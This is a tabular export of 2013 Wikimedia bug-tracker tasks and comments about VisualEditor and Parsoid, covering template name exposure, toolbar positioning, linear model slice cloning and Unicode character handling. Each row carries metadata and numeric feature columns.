+212353,Mediawikiwiki: Make VisualEditor a hidden preference,Simplest solution to this problem. :-),,,1369159470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+212348,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #0)
+> The newsletter update states that Visual Editor is now functioning in the
+> content namespaces at MW, which includes the extension: and manual:
+> namespaces (and it does).  That said, the default text for
+> ""MediaWiki:Visualeditor-preference-enable"" just states user and main at that
+> wiki.
+
+It probably shouldn't default to saying only some namespaces and not changing when the wiki config adds it to other namespaces. Moving this bug to the VisualEditor product.",,,1369156791,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+50663,Parsoid: DOM for template objects should expose template name,"{{foo}} -> Template:Foo
+{{:foo}} -> foo
+{{:user:Foo}} -> User:Krinkle
+{{Template:foo}} -> Template:Foo
+etc.
+
+VisualEditor needs the name of the page that ends up being transcluded by the template invocation.
+
+From conversation with Gabriel I gather that currently the entire tranclusion system (at least in production) is deferred to the PHP parser (including the invocation itself). Which means Parsoid is unable to determine it itself right now.
+
+Gabriel suggested Parsoid will provide the name the best it can for simple cases that don't dynamically construct the page name (e.g. not something like:
+ {{ {{getTemplateName|x=foo}} | bar }}
+).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369093620,1370462741.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kjq6yunjdamvcihfi3va,task_description,resolved,True,c1,1,True,False,True,-6,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,1,1
+212173,Parsoid: DOM for template objects should expose template name,https://gerrit.wikimedia.org/r/65622 (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a) | change APPROVED and MERGED [by jenkins-bot],,,1370460530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+212167,Parsoid: DOM for template objects should expose template name,"Latest proposal that is now pending review and merge (based on discussions on IRC).
+
+All transclusions now have ""mw:Transclusion"" typeof.
+
+data-mw.target.href will point to the template source page, if the template target is known statically.  Will not be set set if target is templated.
+
+data-mw.target.function will provide the name of the parser-function/magic-word, if the function target is known statically.  Will not be set otherwise.",,,1370456625,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-4,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0
+212162,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/65622 (Gerrit Change I3b2fbf3b533b14680d2b881ac9fb43218d4f023a),,,1369577963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+212157,Parsoid: DOM for template objects should expose template name,"Given that transclusion targets can be dynamic ({{ {{echo|lc}}:FOO}} and such), it wont be possible to always provide a statically determined tpl/pf target.  In the general case, the user shouldn't be editing parameters for these dynamic cases without knowing that the tpl. target is specific to the current editing session and arbitrary editing of the parameters might break the transclusion in other scenarios (day-of-week or month-of-year based selection of tpl targets).
+
+So, if we cannot always provide the template or parser function target, it seems we shouldn't add that to the typeof field and leave the typeof as: ""mw:Object/Transclusion/Template"" or ""mw:Object/Transclusion/ParserFunction"" and rely on the data-mw.target json property to communicate info about the target (fully resolved url, if static OR html with transclusion wrappers, if templated).",,,1369480864,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+212151,Parsoid: DOM for template objects should expose template name,"https://en.wikipedia.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=functionhooks doesn't expose the flag.
+
+We were thinking of replacing mw:Object/Template with mw:Object/Transclusion to make it clear that the object being annotated is a transclusion.  We want to retain a Transclusion type so all transclusions can be recognized for those cases where you dont need to distinguish between types.  But, I suppose we could make this: ""mw:Object/Transclusion/Template"" or ""mw:Object/Tranclusion/ParserFunction"".  Right now, the target is not part of this, since this is a type but we are being inconsistent since extensions provide the target name as part of the typeof.  So, we should probably make all those typeofs consistent in some way.
+
+Since this is not necessary for July, let us take a bit more time to work through these (and any other) details rather than make a quick fix.",,,1369475889,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+212145,Parsoid: DOM for template objects should expose template name,"(In reply to comment #7)
+> We were just looking at the wiki config to see if we can recognize something
+> as
+> a parser function (instead of a template) and ran into trouble:
+> 
+> * Looks like parser functions usage comes in 2 flavours: (a) with the
+> #-prefix:
+> ex: {{#if ..}}, etc. (b) without the #-prefix: ex: {{lc:...}}
+> * config.functionhooks provides a list of parser functions, but that list
+> doesn't distinguish between (a) and (b) above.  So, the functionhooks list
+> has
+> an entry for ""lc"" and an entry of ""if"" (not #if).
+> 
+This is controlled by the SFH_NO_HASH flag in CoreParserFunctions.php. Is this flag not exposed in config.functionhooks?
+
+> If
+> knowing that something is a parser function is essential for VE, then we
+> could
+> implement this check and maybe add a flag in data-mw or add some other way of
+> marking up a parser function.  data-mw.target.isPF = true possibly?
+It's not essential for July, but it's required in order to be able to support Wikidata editing. For that purpose, we'd like for parserfunctions to be marked as something like typeof=""mw:Object/ParserFunction/#if"" , as opposed as a template with a special data-mw bit (we could deal with the latter too, but the former would be much more convenient).",,,1369473754,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+212140,Parsoid: DOM for template objects should expose template name,"We were just looking at the wiki config to see if we can recognize something as a parser function (instead of a template) and ran into trouble:
+
+* Looks like parser functions usage comes in 2 flavours: (a) with the #-prefix: ex: {{#if ..}}, etc. (b) without the #-prefix: ex: {{lc:...}}
+* config.functionhooks provides a list of parser functions, but that list doesn't distinguish between (a) and (b) above.  So, the functionhooks list has an entry for ""lc"" and an entry of ""if"" (not #if).
+
+So, ostensibly we could have tested if (a) the name starts with a # in which case it is a parser function; OR (b) the name (lc/if/padleft) is present in config.functionhooks.
+
+But (b) gets us into trouble because you also have templates like ""if"".  So, {{if...}} ought to be treated as a template and not a parser function.
+
+We could then use an additional check to see if there is a "":"" in the name to distinguish between {{lc:foo}} and {{lc|foo}}.
+
+This could work, but seems a bit hacky and maybe fragile wrt edge cases. If knowing that something is a parser function is essential for VE, then we could implement this check and maybe add a flag in data-mw or add some other way of marking up a parser function.  data-mw.target.isPF = true possibly?",,,1369471610,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+212135,Parsoid: DOM for template objects should expose template name,"This looks sane to me, and won't change much with the url patch. Transclusions are all treated the same in Parsoid. Would you like us to split on the colon and provide a special-case 0th parameter if something looks like a parser function?",,,1369469460,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+212129,Parsoid: DOM for template objects should expose template name,"(In reply to comment #4)
+> We are exposing an 'url' format for static targets now. In a follow-up patch
+> we
+> plan to make that editable, and remove the 'wt' value for static targets. For
+> templated targets we will initially still return 'wt', but in the longer term
+> we will expose either 'url' for static targets or 'html' for templated ones.
+So while discussing WikiData integration today, we noticed that parser functions aren't recognized very well. {{#property:capital|of=Germany}} returns {'target':{'wt':'#property:captial'}, 'params':{'of':'Germany'}}
+
+Will this by improved in this URL change you're talking about?",,,1369404962,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+212123,Parsoid: DOM for template objects should expose template name,"We are exposing an 'url' format for static targets now. In a follow-up patch we plan to make that editable, and remove the 'wt' value for static targets. For templated targets we will initially still return 'wt', but in the longer term we will expose either 'url' for static targets or 'html' for templated ones.",,,1369318288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,1
+212115,Parsoid: DOM for template objects should expose template name,https://gerrit.wikimedia.org/r/64987 (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11) | change APPROVED and MERGED [by jenkins-bot],,,1369318124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+212108,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/64987 (Gerrit Change I3145a4168a2347cecc573dcc07bb4128962a5b11),,,1369254139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+212103,Parsoid: DOM for template objects should expose template name,Related URL: https://gerrit.wikimedia.org/r/64651 (Gerrit Change Ie0114a81eead86d7a3b3e3a7a5b10d25c457b524),,,1369099672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kjq6yunjdamvcihfi3va,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50662,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"Toolbar in VE floats to position of last BranchNode but should instead just use the bottom of the document or something.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1369088700,1371688425.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-djl2633o2ndbnj77h5l2,task_description,resolved,True,c1,1,True,False,True,-6,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+212072,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),Fix merged and will go out with next push.,,,1371688425,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+212067,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),Related URL: https://gerrit.wikimedia.org/r/69478 (Gerrit Change I1c7662f2b6f1ced6f80dec16c6ed69a8cc0c06c8),,,1371642471,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+212061,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"(In reply to comment #1)
+> So the problem is that it lets it go too far or not far enough? I can imagine
+> it somehow, but steps to reproduce the bug would nice.
+
+Doesn't got far enough.
+
+Steps to reproduce: find a document with a very long single BranchNode at the end (or create one). Use VE. Notice that the tool bar slips off the page when you get below the bottom.",,,1370883741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-3,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+212056,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"So the problem is that it lets it go too far or not far enough? I can imagine it somehow, but steps to reproduce the bug would nice.",,,1370851349,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+50651,VisualEditor: Provide clean way to clone a linmod slice,"Complete with its own sub-store and everything, for consumption by a subsurface.
+
+Right now Trevor is committing crimes against humanity to make this work (converting to DOM then back to linmod again)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369072260,1412590792.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-g4wwasypneek2xwppnuc,task_description,resolved,True,c1,1,False,False,False,-6,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+211452,VisualEditor: Provide clean way to clone a linmod slice,Provided by gerrit I38d63e31.,,,1412608772,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g4wwasypneek2xwppnuc,task_subcomment,,True,c1,3,True,,,66,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211446,VisualEditor: Provide clean way to clone a linmod slice,ve.dm.Document#cloneSliceFromRange addresses this,,,1412590792,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g4wwasypneek2xwppnuc,task_subcomment,,True,c1,3,False,,,66,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50630,"VisualEditor: Data model needs characters, not code points","At present, the VisualEditor treats UTF-16 code points as if they were synonymous with abstract characters. Here are two cases where this causes bugs:
+
+1) UTF-16 uses a surrogate pair to represent each Unicode character above U+FFFF. For instance, U+282E2 ('elevator' in Cantonese) is a single character represented in Javascript as ""\uD860\uDEE2"". In a plain textarea, this behaves like a single character from the point of view of the user. However in the VisualEditor, cursoring and backspacing requires two presses; and after cursoring once, any text typed will go in the middle of the surrogate pair, creating invalid UTF-16. (see The Unicode Standard, Version 6.2, Section 3.8, Surrogates).
+
+2) Combining accents can be used in sequences to build up abstract characters. For example, the Javascript string ""m\u0300"" represents a single abstract character (m with grave accent). In a plain textarea, this behaves like a single character when cursoring, but like two characters when backspacing (so the first backspace just removes the accent). However in the VisualEditor, cursoring requires two presses; and after cursoring once, any typed text will go between the letter and the accent, creating an inappropriate dangling combining accent.
+
+These kinds of issues occur because the DataModel uses Arrays with code point elements, say ['\uD860', '\uDEE2', ..., 'm', '\u0300']). My hunch is that this is slightly too low level, and it should instead use abstract character elements, say ['\uD860\uDEE2', ..., 'm\u0300'], where each element represents a whole character.
+
+A good start would be to abstract out away calls to string.split( '' ) into a single function like this:
+
+  ve.splitCharacters = function ( value ) {
+      return value.split( /(?![\uDC00-\uDFFF])/ ); // don't split surrogate pairs
+  };
+
+The rest of the codebase should call this function to perform splits, and then not assume that data[i] is a single character. Then we can refine splitCharacters as needed.
+
+Alternatively, since the overwhelming majority of characters will in fact be single code points, perhaps the DataModel structure could ""encode"" the exceptional multi-code point characters as objects, so that 'typeof data[i] === ""string""' can still detect the simple cases.
+
+This sounds like a big change for a small issue, but I think it would avoid problems in the future. With a character representation, you can safely perform useful operations like splicing and truncating without having to check the surrounding context very carefully every time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369029300,1370532382.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_description,resolved,True,c1,1,False,False,True,-6,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+210278,"VisualEditor: Data model needs characters, not code points",Marking this as merged; follow-up in bug 49257.,,,1370532382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+210272,"VisualEditor: Data model needs characters, not code points",*** Bug 49233 has been marked as a duplicate of this bug. ***,,,1370531722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+210266,"VisualEditor: Data model needs characters, not code points","Ed's main block of code is merged and will go out with wmf5; keeping this open for follow-up, and removing milestone of tomorrow.",,,1369497594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+210258,"VisualEditor: Data model needs characters, not code points","To be precise about what should constitute a character, see Grapheme Cluster Boundary Rules from TR29 (http://unicode.org/reports/tr29/) . We probably want to implement these, except insofar as it differs from the browsers' implementations of what constitutes a character for cursoring purposes.
+
+The important thing right now is to abstract the code away from assuming single-codepoint characters, so the structure is correct. Then we can get the splitting rules right in isolation.",,,1369309137,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+210250,"VisualEditor: Data model needs characters, not code points",Related URL: https://gerrit.wikimedia.org/r/64965 (Gerrit Change I8d936fb15d82f73cd45fac142c540a7950850d55),,,1369248049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210243,"VisualEditor: Data model needs characters, not code points","(In reply to comment #3)
+> Another major issue is that window.getSelection (which is what we use to get
+> cursor position, via Rangy) calculates using number of codepoints, not
+> characters, so this would need to be translated.
+
+Which would be done in ve.ce.getOffsetFromTextNode",,,1369049395,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+210238,"VisualEditor: Data model needs characters, not code points","Another major issue is that window.getSelection (which is what we use to get cursor position, via Rangy) calculates using number of codepoints, not characters, so this would need to be translated.",,,1369048633,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+210232,"VisualEditor: Data model needs characters, not code points","Ideally merging would be done at the transaction level (e.g. in fixupInsertion), although we would need to extend that method to be allowed to modify the remove part of a transaction, e.g.
+
+Data: ['F','o','o']
+
+Transaction:
+  Retain: 3
+  Replace:
+    Remove: ''
+    Insert: '<accent>'
+
+Would become:
+
+Transaction:
+  Retain: 2
+  Replace:
+    Remove: 'o'
+    Insert: 'o<accent>'",,,1369046846,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
